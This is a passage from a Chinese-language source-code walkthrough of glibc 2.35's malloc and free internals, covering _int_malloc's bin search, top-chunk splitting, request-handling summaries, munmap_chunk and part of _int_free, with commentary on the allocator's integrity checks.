通过扫描 bins 来寻找堆块，从紧邻的下一个较大的 bin 开始。这种搜索严格遵循“最佳适配”（best-fit）原则；也就是说，会选择满足要求的最小堆块（如果大小相同，则大致选择最久未使用的那个）。

位图（bitmap）机制避免了检查大多数（为空的）bin 块的需要。在程序刚启动（预热阶段）、尚无堆块被释放回 bin 时，跳过所有 bin 的这种特定情况，其执行速度比看起来还要快。

找到对应的 binmap ，初始化相关要素

进入内层 for 循环

定位 bin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


 /* Skip rest of block if there are no more set bits in this block. */
 if (bit > map || bit == 0)
 {
 do
 {
 if (++block >= BINMAPSIZE) /* out of bins */
 goto use_top;
 }
 while ((map = av->binmap[block]) == 0);

 bin = bin_at (av, (block << BINMAPSHIFT));
 bit = 1;
 }

 /* Advance to bin with set bit. There must be one. */
 while ((bit & map) == 0)
 {
 bin = next_bin (bin);
 bit <<= 1;
 assert (bit != 0);
 }

 /* Inspect the bin. It is likely to be non-empty */
 victim = last (bin);

 /* If a false alarm (empty bin), clear the bit. */
 if (victim == bin)
 {
 av->binmap[block] = map &= ~bit; /* Write through */
 bin = next_bin (bin);
 bit <<= 1;
 }

如果当前 block 中没有多余的标记，那么去找后边的 block，找不到就用 top_chunk

推进到对应比特位已置位的那个 bin。此时一定能找到一个。

检查该 bin。它很可能不是空的。

如果是误报（即 bin 实际上是空的），则清除该位图比特位，然后再次迭代检索 binmap。

取出这个 chunk

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55


 else
 {
 size = chunksize (victim);

 /* We know the first chunk in this bin is big enough to use. */
 assert ((unsigned long) (size) >= (unsigned long) (nb));

 remainder_size = size - nb;

 /* unlink */
 unlink_chunk (av, victim);

 /* Exhaust */
 if (remainder_size < MINSIZE)
 {
 set_inuse_bit_at_offset (victim, size);
 if (av != &main_arena)
		 set_non_main_arena (victim);
 }

 /* Split */
 else
 {
 remainder = chunk_at_offset (victim, nb);

 /* We cannot assume the unsorted list is empty and therefore
 have to perform a complete insert here. */
 bck = unsorted_chunks (av);
 fwd = bck->fd;
		 if (__glibc_unlikely (fwd->bk != bck))
		 malloc_printerr ("malloc(): corrupted unsorted chunks 2");
 remainder->bk = bck;
 remainder->fd = fwd;
 bck->fd = remainder;
 fwd->bk = remainder;

 /* advertise as last remainder */
 if (in_smallbin_range (nb))
 av->last_remainder = remainder;
 if (!in_smallbin_range (remainder_size))
 {
 remainder->fd_nextsize = NULL;
 remainder->bk_nextsize = NULL;
 }
 set_head (victim, nb | PREV_INUSE |
 (av != &main_arena ? NON_MAIN_ARENA : 0));
 set_head (remainder, remainder_size | PREV_INUSE);
 set_foot (remainder, remainder_size);
 }
 check_malloced_chunk (av, victim, nb);
 void *p = chunk2mem (victim);
 alloc_perturb (p, bytes);
 return p;
 }
 }

使 chunk 脱链

如果剩余部分的大小不足以作为一个独立堆块，则将整个堆块全部分配给用户）。

如果剩余部分足够大，可以作为一个独立的堆块存在。

我们不能假设 Unsorted 链表是空的，因此必须在后续执行完整的插入操作（将切分出的余料放入 Unsorted Bin），同时记得清空 nextsize 指针。

然后返回这个 chunk

使用 top_chunk

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61


 use_top:
 /*
 If large enough, split off the chunk bordering the end of memory
 (held in av->top). Note that this is in accord with the best-fit
 search rule. In effect, av->top is treated as larger (and thus
 less well fitting) than any other available chunk since it can
 be extended to be as large as necessary (up to system
 limitations).

 We require that av->top always exists (i.e., has size >=
 MINSIZE) after initialization, so if it would otherwise be
 exhausted by current request, it is replenished. (The main
 reason for ensuring it exists is that we may need MINSIZE space
 to put in fenceposts in sysmalloc.)
 */

 victim = av->top;
 size = chunksize (victim);

 if (__glibc_unlikely (size > av->system_mem))
 malloc_printerr ("malloc(): corrupted top size");

 if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
 {
 remainder_size = size - nb;
 remainder = chunk_at_offset (victim, nb);
 av->top = remainder;
 set_head (victim, nb | PREV_INUSE |
 (av != &main_arena ? NON_MAIN_ARENA : 0));
 set_head (remainder, remainder_size | PREV_INUSE);

 check_malloced_chunk (av, victim, nb);
 void *p = chunk2mem (victim);
 alloc_perturb (p, bytes);
 return p;
 }

 /* When we are using atomic ops to free fast chunks we can get
 here for all block sizes. */
 else if (atomic_load_relaxed (&av->have_fastchunks))
 {
 malloc_consolidate (av);
 /* restore original bin index */
 if (in_smallbin_range (nb))
 idx = smallbin_index (nb);
 else
 idx = largebin_index (nb);
 }

 /*
 Otherwise, relay to handle system-dependent cases
 */
 else
 {
 void *p = sysmalloc (nb, av);
 if (p != NULL)
 alloc_perturb (p, bytes);
 return p;
 }
 }
}

如果（Top Chunk）足够大，就切分出紧邻内存末尾的那个堆块（由 av->top 持有）。注意，这符合“最佳适配”（best-fit）搜索规则。实际上，av->top 被视为比任何其他可用堆块都大（因此匹配度较低），因为它可以在必要时进行扩展（直至系统限制）。

我们要求 av->top 在初始化后始终存在（即大小大于 MINSIZE），因此如果它将被当前请求耗尽，则必须对其进行补充。（确保其存在的主要原因是，在 sysmalloc 中，我们可能需要 MINSIZE 的空间来放置“栅栏桩”。）

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 如果切割后的剩余空间大于最小应分配内存，则直接切割分配

else if (atomic_load_relaxed (&av->have_fastchunks)) 否则考虑从 fastbin 中拿出可能存在块合并，放入 unsortedbin 或 top_chunk 中，同时更新 idx ，以外层 for 为基准再迭代一轮

如果还是没有空间，那就只好用 sysmalloc 了

外层 for 循环边界在此

_int_malloc 函数边界在此，分析完成

small_request 处理总结

在 glibc 2.35 中，处理一个 small_request（通常指 64 位系统下，不含头部大小在 1016 字节以下的请求，即最终 size <= 1024 字节）是一个多层级的搜索过程。

为了提升性能，glibc 采用了从“最快且私有”到“最慢且全局”的搜索策略。以下是 small_request 在 _int_malloc 中可能经过的一切流程：

1. 尺寸计算与对齐 (checked_request2size)

首先，malloc 会将你申请的 bytes 加上 CHUNK_HDR_SZ（16 字节），并向上对齐到 16 字节。

例如 malloc(0x20) -> 实际 size 为 0x30。
如果符合 smallbin 范围，进入后续逻辑。

2. 第一关：Tcache (Thread Local Cache) —— 最快路径

这是 glibc 2.26 之后引入的线程私有缓存，不需要加锁。

搜索：根据计算出的 size 找到对应的 tcache 索引。
命中：如果 tcache->entries[idx] 有块，直接弹出一个返回。
安全检查：2.35 版本会检查 tcache 的 key 字段（防止 double free）以及指针的对齐性。

3. 第二关：Fastbins —— 快速路径

如果 Tcache 没命中，且 size 属于 Fastbin 范围（通常 <= 0x80）：

加锁：获取当前 Arena 的互斥锁。
搜索：在 av->fastbinsY 中查找。
命中：
1. 从栈顶取出一个块。
2. Tcache 填充：这是 2.35 的特性。如果发现了命中，它会尝试把该 fastbin 链表里剩下的块全都“挪”到当前线程的 Tcache 中，直到 Tcache 填满（默认 7 个）。
3. 返回该块。

4. 第三关：Smallbins —— 确定性路径

如果不是 Fastbin 尺寸，或者 Fastbin 为空：

搜索：直接在 av->bins 的对应 Smallbin 索引处查看。
命中：
1. 从链表末尾（BK 方向）取出一个块（FIFO 机制）。
2. 安全检查：执行 Safe Unlink 检查（即 victim->bk->fd == victim）。
3. 标志位：设置该块的 PREV_INUSE。
4. Tcache 填充：同样，如果对应 Smallbin 还有剩余块，会批量存入 Tcache，然后返回其中一个。

5. 第四关：Unsorted Bin 遍历 —— 整理与中转

如果 Smallbins 也没命中，说明目前没有大小正好合适的空闲块。此时 malloc 必须开始“干苦活”：遍历 Unsorted Bin。

在此过程中，malloc 会处理之前被 free 掉但还没归类的块：

Last Remainder 优化：如果申请的是 small request，且 Unsorted Bin 中只有一个块且它是 last_remainder，且大小足够切分，则直接切分：
- 切出一块给用户，剩下的作为新的 last_remainder 留在 Unsorted Bin 中。
分拣与精确匹配：如果上述不成立，开始循环遍历 Unsorted Bin：
1. 把块从 Unsorted Bin 移除（执行前面讨论过的各种安全检查）。
2. 如果大小完全一致（Exact Fit）：停止分拣，直接给用户（或者放入 Tcache 备用）。
3. 如果大小不一致：根据大小把这个块扔进对应的 Smallbin 或 Largebin，并更新 binmap。

6. 第五关：Binmap 搜索 —— 寻找大块切分

如果 Unsorted Bin 遍历完了还没找到正好相等的块（且 Tcache 也没填满）：

搜索比目标大的 Bin：通过 binmap 快速定位比当前 size 大的最小非空 Smallbin 或 Largebin。
切分（Splitting）：
1. 找到一个比需求大的块。
2. 切开它：前半部分给用户，后半部分作为 Remainder 放入 Unsorted Bin。

7. 第六关：Top Chunk —— 最后的荒野

如果连大块都没有了：

检查 Top Chunk：看 av->top 的剩余空间是否足够。
切分：如果够，从 Top Chunk 切出一块。Top Chunk 的起始地址增加，剩余 size 减少。

8. 第七关：绝望的挣扎 —— Consolidation

如果 Top Chunk 也不够大：

检查 Fastbins：看 fastbins 里是不是还有没合并的碎片。
调用 malloc_consolidate：清空 fastbins，把它们合并后扔进 Unsorted Bin。
重试：回到步骤 5（Unsorted Bin 遍历），再给一次机会。这种情况在整个分配逻辑中只允许发生一次。

9. 第八关：向操作系统要钱 —— sysmalloc

如果上述所有招数都用完了，还没内存：

sbrk / mmap：调用内核接口增加堆空间（brk 扩展）或申请新的内存映射（mmap）。
如果系统也没内存了，返回 NULL 并设置 errno 为 ENOMEM。

总结：

Tcache 优先级极高：几乎所有的命中（Fastbin, Smallbin, Unsorted Bin Exact Fit）都会伴随一个“填满 Tcache”的动作。
安全检查增强：2.35 引入了更严格的指针保护和双向链表校验。
局部性优先：通过 Last Remainder 和 Tcache 填充极力保证连续申请的小块在物理地址上靠近，提升缓存命中率。

这个流程体现了从私有缓存 -> 快速链表 -> 整理分拣 -> 物理切分 -> 系统申请的严密逻辑

large_request 处理总结

在 glibc 2.35 中，large_request 指的是申请的内存大小（计算对齐和头部后）超过了 Smallbin 的上限（通常在 64 位系统上 > 1024 字节）。

处理 Large Request 的过程比 Small Request 更加复杂，因为它涉及 Best-fit（最佳适配） 算法和特殊的 Nextsize 双向跳表 结构。以下是 large_request 在 _int_malloc 中可能经过的一切流程：

1. 尺寸计算与 Tcache 检查（入口点）

首先，malloc 会计算最终的 nb（request size + 16 字节对齐）。

Tcache 命中（即便很大）：
- 注意：Tcache 默认的最大尺寸是 1032 字节（TCACHE_MAX_SZ）。
- 如果你的请求正好在这个边界内（例如请求 1000 字节，nb 为 1024），它仍会先查 Tcache。如果命中，直接返回。
进入主分配器：
- 如果超过 Tcache 范围，或者 Tcache 未命中，则获取 Arena 锁并进入 _int_malloc。

2. 预处理：Fastbin 合并（特殊触发）

对于 Large Request，glibc 有一个“激进合并”策略：

触发条件：如果申请的尺寸非常大（大于 FASTBIN_CONSOLIDATION_THRESHOLD，通常 64KB），或者在后续流程中发现 Bins 和 Top Chunk 都不够用。
动作：调用 malloc_consolidate。这会把 Fastbins 中的所有零碎小块合并并扔进 Unsorted Bin。
目的：大内存申请往往意味着内存压力大，提前整理碎片可以防止因碎片化导致的分配失败。

3. 跨过 Fastbin 和 Smallbin 路径

由于 nb 属于 Large 范围：

代码会直接跳过 Fastbin 查找逻辑。
代码会直接跳过 Smallbin 查找逻辑（in_smallbin_range(nb) 为假）。

4. 遍历 Unsorted Bin（整理与分拣）

这是 Large Request 分配中最关键的一步。malloc 并不直接去 Largebins 找，而是先清理 Unsorted Bin。

遍历链表：从 Unsorted Bin 的末尾（bk）向前遍历。
Exact Fit（精确匹配）：
- 如果遍历到一个块，大小正好等于 nb。
- 动作：将此块直接返回。
- 注意：Large Request 不使用 Small Request 那种“Last Remainder”切分优化。
分拣入 Bin：
- 如果大小不匹配，将该块从 Unsorted Bin 移除，放入它该去的 Smallbin 或 Largebin。
- Largebin 特有维护：如果要放入 Largebin，系统必须维护 fd_nextsize 链表，确保 Largebin 内部依然是按 Size 降序排序的。
- 限制：为了防止遍历时间过长，glibc 通常限制每次遍历 Unsorted Bin 的块数（最多 10000 块，防止拒绝服务攻击）。

5. 扫描目标的 Largebin（寻找最佳适配）

如果在 Unsorted Bin 中没找到精确匹配，现在才开始正式搜索对应的 Largebin。

确定索引：计算 nb 属于哪一个 Largebin（Largebin 是按范围划分的，例如 1024-1088 字节是一个 bin）。
利用 Nextsize 链表（跳表）搜索：
1. 找到该 Largebin 的第一个块（最大块 victim = first(bin)）。
2. 如果最大块都比 nb 小，直接跳过此 bin。
3. 如果够大，利用 bk_nextsize 从“大”往“小”跳。
4. 寻找最小的符合条件的块：跳到第一个 Size < nb 的组，然后回退一步，找到那个 Size >= nb 的最小组。
组内优化：
- 找到合适的 Size 组后，为了避免修改 fd_nextsize 链表（减少脱链成本），malloc 会优先取该组的第二个块（Follower），而不是组长（Leader）。
切分（Splitting）：
- 找到 victim 后，计算 remainder_size = size - nb。
- 余料处理：如果剩下的部分 $>=$ MINSIZE（32字节），将余料切下来，放入 Unsorted Bin。
- 耗尽处理：如果余料太小，直接把整个块给用户。

6. 搜索更高级别的 Bins

如果在目标 Largebin 里没找到：

Binmap 加速：检查 binmap，寻找比当前 bin 索引更大的、非空的 bin。
Best-fit 逻辑：一旦找到一个非空的更大的 bin，逻辑同上：从该 bin 里的最小块开始切分（因为大 bin 里的任何块都一定满足申请要求）。

7. 切分 Top Chunk

如果所有的 Bins（Unsorted, Small, Large）都翻遍了还没找到：

检查 Top Chunk：看 av->top 的空间是否足够。
动作：如果足够，切出 nb，更新 Top Chunk 的位置。

8. 终极尝试：Sysmalloc

如果 Top Chunk 也不够了：

第二次合并：如果之前没做过 malloc_consolidate，现在会做一次，然后重试一遍搜索逻辑。
系统申请：调用 sysmalloc。
- mmap 路径：如果申请的尺寸非常巨大（超过 mmap_threshold，默认 128KB），sysmalloc 会直接调用 mmap 向内核要一块独立的匿名映射内存，不从堆里出。
- brk 路径：否则，调用 brk 扩展堆顶。

9. 核心防御检查（安全）

在 Large Request 流程中，glibc 2.35 强化的检查包括：

Unsorted Bin 损坏检查：检查双向链表的 fd/bk 是否被非法篡改。
Largebin 下一跳校验：在利用 fd_nextsize 遍历时，校验 p->fd_nextsize->bk_nextsize == p。
Size vs Prev_size 校验：在切分或脱链时，验证相邻块的元数据一致性。

总结

对于一个 Large Request，它的旅程通常是：

跳过小快灵的 Fast/Small bin 逻辑。
在 Unsorted Bin 里被迫充当“分拣工”，把路上的块都归位。
在 Largebin 里通过 nextsize 指针进行跳跃式搜索，寻找那个既能装下它、又最不浪费空间的“最佳座位”。
如果实在没位子，就去切 Top Chunk 或找操作系统“买地” (mmap)。

__libc_free 源码分析

__libc_free 源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


void
__libc_free (void *mem)
{
 mstate ar_ptr;
 mchunkptr p; /* chunk corresponding to mem */

 if (mem == 0) /* free(0) has no effect */
 return;

 /* Quickly check that the freed pointer matches the tag for the memory.
 This gives a useful double-free detection. */
 if (__glibc_unlikely (mtag_enabled))
 *(volatile char *)mem;

 int err = errno;

 p = mem2chunk (mem);

 if (chunk_is_mmapped (p)) /* release mmapped memory. */
 {
 /* See if the dynamic brk/mmap threshold needs adjusting.
	 Dumped fake mmapped chunks do not affect the threshold. */
 if (!mp_.no_dyn_threshold
 && chunksize_nomask (p) > mp_.mmap_threshold
 && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
 {
 mp_.mmap_threshold = chunksize (p);
 mp_.trim_threshold = 2 * mp_.mmap_threshold;
 LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
 mp_.mmap_threshold, mp_.trim_threshold);
 }
 munmap_chunk (p);
 }
 else
 {
 MAYBE_INIT_TCACHE ();

 /* Mark the chunk as belonging to the library again. */
 (void)tag_region (chunk2mem (p), memsize (p));

 ar_ptr = arena_for_chunk (p);
 _int_free (ar_ptr, p, 0);
 }

 __set_errno (err);
}
libc_hidden_def (__libc_free)

chunk_is_mmapped 处理

动态阈值调整 (Dynamic Threshold Adjustment)

这是 glibc 的一种优化机制。为了提高性能，它会根据程序的分配习惯动态调整 mmap_threshold。

1
2
3


if (!mp_.no_dyn_threshold
 && chunksize_nomask (p) > mp_.mmap_threshold
 && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)

!mp_.no_dyn_threshold：检查是否启用了动态阈值调整（默认开启，除非用户通过 mallopt 禁用了它）。
chunksize_nomask (p) > mp_.mmap_threshold：如果当前释放的 chunk 大小比当前的 mmap_threshold 还要大。
chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX：当前大小没有超过硬上限（通常是 32MB 或 64MB）。

调整逻辑：

1
2
3


mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, mp_.mmap_threshold, mp_.trim_threshold);

更新阈值：如果程序频繁释放很大的内存块，glibc 会调高 mmap_threshold。这意味着之后申请类似大小的内存时，可能会改用 brk（堆）而不是 mmap。
目的：减少 mmap/munmap 系统调用的次数。mmap 涉及页表操作和内核交互，开销比移动堆指针（sbrk）大。
联动调整：同时调高 trim_threshold（堆收缩阈值），确保堆不会过于频繁地缩减。

2. 执行内存归还

1

munmap_chunk (p);

这是真正的释放操作。对于 heap chunk，free 后会将其放入各种 bins（如 fastbins, smallbins）中以便复用，不会立即还给系统。

但对于 mmap chunk：

它直接调用 munmap 系统调用。
内核会将这块虚拟内存从进程的地址空间中移除。
物理内存释放：对应的物理页帧会被内核回收。
特点：
- 彻底释放：内存立刻还给 OS。
- 无碎片：因为它不在堆里，不会造成堆碎片。
- 性能开销：由于涉及系统调用和页表刷新（TLB shootdown），在大规模频繁操作时比堆操作慢。

munmap_chunk 源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


static void
munmap_chunk (mchunkptr p)
{
 size_t pagesize = GLRO (dl_pagesize);
 INTERNAL_SIZE_T size = chunksize (p);

 assert (chunk_is_mmapped (p));

 uintptr_t mem = (uintptr_t) chunk2mem (p);
 uintptr_t block = (uintptr_t) p - prev_size (p);
 size_t total_size = prev_size (p) + size;
 /* Unfortunately we have to do the compilers job by hand here. Normally
 we would test BLOCK and TOTAL-SIZE separately for compliance with the
 page size. But gcc does not recognize the optimization possibility
 (in the moment at least) so we combine the two values into one before
 the bit test. */
 if (__glibc_unlikely ((block | total_size) & (pagesize - 1)) != 0
 || __glibc_unlikely (!powerof2 (mem & (pagesize - 1))))
 malloc_printerr ("munmap_chunk(): invalid pointer");

 atomic_decrement (&mp_.n_mmaps);
 atomic_add (&mp_.mmapped_mem, -total_size);

 /* If munmap failed the process virtual memory address space is in a
 bad shape. Just leave the block hanging around, the process will
 terminate shortly anyway since not much can be done. */
 __munmap ((char *) block, total_size);
}

这段代码来自于 glibc 的 malloc.c，位于 munmap_chunk 函数中。该函数专门负责销毁那些通过 mmap 分配的内存块。

1. 注释翻译

“不幸的是，我们在这里必须手动完成编译器应该做的工作。通常情况下，我们会分别测试 BLOCK（内存块地址）和 TOTAL-SIZE（总大小）是否符合页大小（对齐要求）。但 GCC（至少目前）还无法识别这种优化可能性，因此我们在进行位运算测试之前，先将这两个值合并为一个。”

2. 代码逻辑分析

这段代码的核心任务是：在调用内核接口释放内存前，进行严格的安全检查和统计数据更新。

A. 核心安全检查：对齐校验

1
2
3


if (__glibc_unlikely ((block | total_size) & (pagesize - 1)) != 0
 || __glibc_unlikely (!powerof2 (mem & (pagesize - 1))))
 malloc_printerr ("munmap_chunk(): invalid pointer");

为什么需要页对齐？ mmap 和 munmap 是系统调用，它们操作的单位是页（Page，通常是 4KB）。内核要求传递给 munmap 的起始地址和长度必须是 pagesize 的整数倍。如果不对齐，内核会返回错误，甚至可能导致程序非预期行为。
注释中的优化手段 (block | total_size)：
- pagesize - 1 生成一个掩码（例如页大小是 4096 (0x1000)，掩码就是 0xFFF）。
- 按位与 & (pagesize - 1) 如果不等于 0，说明低位有值，即没有对齐。
- 手动优化点：开发者没有写成 (block & mask) || (total_size & mask)，而是写成 (block | total_size) & mask。通过一次“按位或”运算，只要其中任何一个值没对齐，最终结果都会反映出来。这样减少了一次分支判断。
mem & (pagesize - 1) 检查：
- mem 通常是用户可见的内存地址。
- 这里进一步确认该指针在页内的偏移是否符合预期（通常 mmap 返回的地址页内偏移应该是固定的）。如果地址完全乱了，直接触发 malloc_printerr 报错。

B. 统计数据更新

1
2


atomic_decrement (&mp_.n_mmaps);
atomic_add (&mp_.mmapped_mem, -total_size);

当一个 mmap 块被释放时，glibc 需要更新全局的内存状态：

mp_.n_mmaps：记录当前进程通过 mmap 分配的内存块数量。这里执行原子减 1。
mp_.mmapped_mem：记录当前进程通过 mmap 分配的内存总字节数。这里减去当前块的大小。
atomic_ 前缀：保证了多线程环境下这些全局变量更新的原子性，防止出现竞态条件导致统计数据错误。

非 mmap 处理

如果 p 不是 mmap 分配的，则通过 _int_free 处理

_int_free 源码分析

_int_free 源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288


/*
 ------------------------------ free ------------------------------
 */

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
 INTERNAL_SIZE_T size; /* its size */
 mfastbinptr *fb; /* associated fastbin */
 mchunkptr nextchunk; /* next contiguous chunk */
 INTERNAL_SIZE_T nextsize; /* its size */
 int nextinuse; /* true if nextchunk is used */
 INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
 mchunkptr bck; /* misc temp for linking */
 mchunkptr fwd; /* misc temp for linking */

 size = chunksize (p);

 /* Little security check which won't hurt performance: the
 allocator never wrapps around at the end of the address space.
 Therefore we can exclude some size values which might appear
 here by accident or by "design" from some intruder. */
 if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
 || __builtin_expect (misaligned_chunk (p), 0))
 malloc_printerr ("free(): invalid pointer");
 /* We know that each chunk is at least MINSIZE bytes in size or a
 multiple of MALLOC_ALIGNMENT. */
 if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
 malloc_printerr ("free(): invalid size");

 check_inuse_chunk(av, p);

#if USE_TCACHE
 {
 size_t tc_idx = csize2tidx (size);
 if (tcache != NULL && tc_idx < mp_.tcache_bins)
 {
	/* Check to see if it's already in the tcache. */
	tcache_entry *e = (tcache_entry *) chunk2mem (p);

	/* This test succeeds on double free. However, we don't 100%
	 trust it (it also matches random payload data at a 1 in
	 2^<size_t> chance), so verify it's not an unlikely
	 coincidence before aborting. */
	if (__glibc_unlikely (e->key == tcache_key))
	 {
	 tcache_entry *tmp;
	 size_t cnt = 0;
	 LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
	 for (tmp = tcache->entries[tc_idx];
		 tmp;
		 tmp = REVEAL_PTR (tmp->next), ++cnt)
	 {
		if (cnt >= mp_.tcache_count)
		 malloc_printerr ("free(): too many chunks detected in tcache");
		if (__glibc_unlikely (!aligned_OK (tmp)))
		 malloc_printerr ("free(): unaligned chunk detected in tcache 2");
		if (tmp == e)
		 malloc_printerr ("free(): double free detected in tcache 2");
		/* If we get here, it was a coincidence. We've wasted a
		 few cycles, but don't abort. */
	 }
	 }

	if (tcache->counts[tc_idx] < mp_.tcache_count)
	 {
	 tcache_put (p, tc_idx);
	 return;
	 }
 }
 }
#endif

 /*
 If eligible, place chunk on a fastbin so it can be found
 and used quickly in malloc.
 */

 if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
 /*
	If TRIM_FASTBINS set, don't place chunks
	bordering top into fastbins
 */
 && (chunk_at_offset(p, size) != av->top)
#endif
 ) {

 if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
			 <= CHUNK_HDR_SZ, 0)
	|| __builtin_expect (chunksize (chunk_at_offset (p, size))
			 >= av->system_mem, 0))
 {
	bool fail = true;
	/* We might not have a lock at this point and concurrent modifications
	 of system_mem might result in a false positive. Redo the test after
	 getting the lock. */
	if (!have_lock)
	 {
	 __libc_lock_lock (av->mutex);
	 fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
		 || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
	 __libc_lock_unlock (av->mutex);
	 }

	if (fail)
	 malloc_printerr ("free(): invalid next size (fast)");
 }

 free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);

 atomic_store_relaxed (&av->have_fastchunks, true);
 unsigned int idx = fastbin_index(size);
 fb = &fastbin (av, idx);

 /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
 mchunkptr old = *fb, old2;

 if (SINGLE_THREAD_P)
 {
	/* Check that the top of the bin is not the record we are going to
	 add (i.e., double free). */
	if (__builtin_expect (old == p, 0))
	 malloc_printerr ("double free or corruption (fasttop)");
	p->fd = PROTECT_PTR (&p->fd, old);
	*fb = p;
 }
 else
 do
	{
	 /* Check that the top of the bin is not the record we are going to
	 add (i.e., double free). */
	 if (__builtin_expect (old == p, 0))
	 malloc_printerr ("double free or corruption (fasttop)");
	 old2 = old;
	 p->fd = PROTECT_PTR (&p->fd, old);
	}
 while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
	 != old2);

 /* Check that size of fastbin chunk at the top is the same as
 size of the chunk that we are adding. We can dereference OLD
 only if we have the lock, otherwise it might have already been
 allocated again. */
 if (have_lock && old != NULL
	&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
 malloc_printerr ("invalid fastbin entry (free)");
 }

 /*
 Consolidate other non-mmapped chunks as they arrive.
 */

 else if (!chunk_is_mmapped(p)) {

 /* If we're single-threaded, don't lock the arena. */
 if (SINGLE_THREAD_P)
 have_lock = true;

 if (!have_lock)
 __libc_lock_lock (av->mutex);

 nextchunk = chunk_at_offset(p, size);

 /* Lightweight tests: check whether the block is already the
 top block. */
 if (__glibc_unlikely (p == av->top))
 malloc_printerr ("double free or corruption (top)");
 /* Or whether the next chunk is beyond the boundaries of the arena. */
 if (__builtin_expect (contiguous (av)
			 && (char *) nextchunk
			 >= ((char *) av->top + chunksize(av->top)), 0))
	malloc_printerr ("double free or corruption (out)");
 /* Or whether the block is actually not marked used. */
 if (__glibc_unlikely (!prev_inuse(nextchunk)))
 malloc_printerr ("double free or corruption (!prev)");

 nextsize = chunksize(nextchunk);
 if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
	|| __builtin_expect (nextsize >= av->system_mem, 0))
 malloc_printerr ("free(): invalid next size (normal)");

 free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);

 /* consolidate backward */
 if (!prev_inuse(p)) {
 prevsize = prev_size (p);
 size += prevsize;
 p = chunk_at_offset(p, -((long) prevsize));
 if (__glibc_unlikely (chunksize(p) != prevsize))
 malloc_printerr ("corrupted size vs. prev_size while consolidating");
 unlink_chunk (av, p);
 }

 if (nextchunk != av->top) {
 /* get and clear inuse bit */
 nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

 /* consolidate forward */
 if (!nextinuse) {
	unlink_chunk (av, nextchunk);
	size += nextsize;
 } else
	clear_inuse_bit_at_offset(nextchunk, 0);

 /*
	Place the chunk in unsorted chunk list. Chunks are
	not placed into regular bins until after they have
	been given one chance to be used in malloc.
 */

 bck = unsorted_chunks(av);
 fwd = bck->fd;
 if (__glibc_unlikely (fwd->bk != bck))
	malloc_printerr ("free(): corrupted unsorted chunks");
 p->fd = fwd;
 p->bk = bck;
 if (!in_smallbin_range(size))
	{
	 p->fd_nextsize = NULL;
	 p->bk_nextsize = NULL;
	}
 bck->fd = p;
 fwd->bk = p;

 set_head(p, size | PREV_INUSE);
 set_foot(p, size);

 check_free_chunk(av, p);
 }

 /*
 If the chunk borders the current high end of memory,
 consolidate into top
 */

 else {
 size += nextsize;
 set_head(p, size | PREV_INUSE);
 av->top = p;
 check_chunk(av, p);
 }

 /*
 If freeing a large space, consolidate possibly-surrounding
 chunks. Then, if the total unused topmost memory exceeds trim
 threshold, ask malloc_trim to reduce top.

